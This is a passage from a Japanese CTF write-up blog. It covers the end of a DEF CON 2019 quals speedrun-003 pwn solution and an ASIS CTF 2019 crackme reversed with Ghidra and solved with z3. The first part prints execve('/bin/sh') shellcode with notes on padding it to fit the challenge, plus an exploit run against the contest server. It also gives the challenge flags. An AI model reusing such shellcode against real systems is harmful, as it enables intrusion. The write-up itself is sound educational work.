73 68 00
31 f6                   xor    esi,esi
56                      push   rsi
53                      push   rbx
54                      push   rsp
5f                      pop    rdi
b0 3b                   mov    al,0x3b
31 d2                   xor    edx,edx
0f 05                   syscall

シェルコードはこのようなものを使用したが,これは22バイトなのでいい感じに調整した.具体的には,前半部分を push rsp までにして,残りの部分は xor edx, edx を4つに増やすことでバイト数をかさ増ししたり,同じxor値になるように mov al, 0x3b を2つに増やし,前半の 0x3b の部分を変化させながら,最終的に mov al, 0x5a にした.

gist.github.com

$ python exploit.py
[+] Opening connection to speedrun-003.quals2019.oooverflow.io on port 31337: Done
[*] Switching to interactive mode
Think you can drift?
Send me your drift
$ cat /flag
OOO{Fifty percent of something is better than a hundred percent of nothing. (except when it comes to pwning)}
$ exit
[*] Got EOF while reading in interactive

ASIS CTF Quals 2019 Key maker

問題文

The Keymaker: Only the One can open the door. And only during that window can that door be opened.

Niobe: How do you know all this?

The Keymaker: I know because I must know. It is my purpose. It is the reason I am here. The same reason we are all here.

PEファイルを解析する問題.ポイントは最終的に93で,solve数は51だった.

$ file key_maker.exe
key_maker.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
$ key_maker.exe
KeyMaker is old, you are the one to help Neo!!
Please enter licence key: hoge
Sorry, given licence is invalid!

crackmeだとわかる.適切なライセンスキーを入力する必要がある.

入力値を扱っている箇所の逆アセンブル結果が少々複雑なため,最近話題のGhidraを初めて使ってデコンパイルしてみたが,かなりよかった.以下はmain関数のデコンパイル結果.

f:id:ywkw1717:20190422145756p:plain
main

50文字の入力をFUN_00401637に渡していて,この関数が入力値を検証するものだとわかる.

f:id:ywkw1717:20190422183829p:plain
FUN_00401637

FUN_00401637では,最初のif文で入力値の17文字目と34文字目が _ になっているか,5文字目と最後の文字を掛け合わせた結果が0x3c0fになっているか(これはつまり,5文字目が { で,最後の文字が } かどうか)を確認している.この時点で正規のライセンスキーが,ASIS{........} みたいなフラグの形式になっていそうだとわかる.

その後,3つのWhileループで _ を除いた文字を3分割,つまり16文字ずつ,36進数( strtol(&local_38,(char **)0x0,0x24) )で配列に代入している.

f:id:ywkw1717:20190422145846p:plain
FUN_00401637

その後,3つの配列の全ての組み合わせ,6通りをFUN_00401530の第1引数と第2引数に渡し,第3引数に渡した配列にFUN_00401530での演算結果を代入するような仕組みになっている.

f:id:ywkw1717:20190422145828p:plain
FUN_00401530

肝心のこの関数では,param1とparam2やカウンタ変数などを使って加算処理を行って,結果をparam3に代入している.この結果,param3に渡された配列には16個の要素が入ることになる.

f:id:ywkw1717:20190422145846p:plain
FUN_00401637

FUN_00401637をもう一度見てみると,作成した6つの配列をそれぞれとある要素(*(int *)(&DAT_00404040 + ((longlong)local_20 + (longlong)local_1c * 4) * 4)みたいなの)と比較している.これは,以下の部分にそれぞれ4バイトで計64個格納されている値のこと.

f:id:ywkw1717:20190422145930p:plain
比較されるやつ

以上の解析結果から,z3を使用して解く方針で進める.

完成したスクリプトは以下.

gist.github.com

実行結果.

$ python key_maker.py
[u_15 = 0,
 u_14 = 3,
 u_13 = 14,
 u_12 = 21,
 u_11 = 12,
 u_10 = 4,
 u_9 = 27,
 u_8 = 24,
 u_7 = 27,
 u_6 = 3,
 u_5 = 20,
 u_4 = 4,
 u_3 = 22,
 u_2 = 34,
 u_1 = 3,
 u_0 = 20,
 t_15 = 0,
 t_14 = 24,
 t_13 = 0,
 t_12 = 24,
 t_11 = 14,
 t_10 = 23,
 t_9 = 13,
 t_8 = 23,
 t_7 = 10,
 t_6 = 34,
 t_5 = 7,
 t_4 = 18,
 t_3 = 23,
 t_2 = 1,
 t_1 = 27,
 t_0 = 29,
 s_15 = 33,
 s_14 = 33,
 s_13 = 33,
 s_12 = 1,
 s_11 = 27,
 s_10 = 7,
 s_9 = 4,
 s_8 = 22,
 s_7 = 3,
 s_6 = 17,
 s_5 = 7,
 s_4 = 0,
 s_3 = 28,
 s_2 = 18,
 s_1 = 28,
 s_0 = 10]

flag: ASIS{7H3M47R1XXX_TR1NI7YANDNEO0O0_K3YM4K3ROR4CLE3}

この問題のCategory, Reverse Baby warm-up となっていてびびる.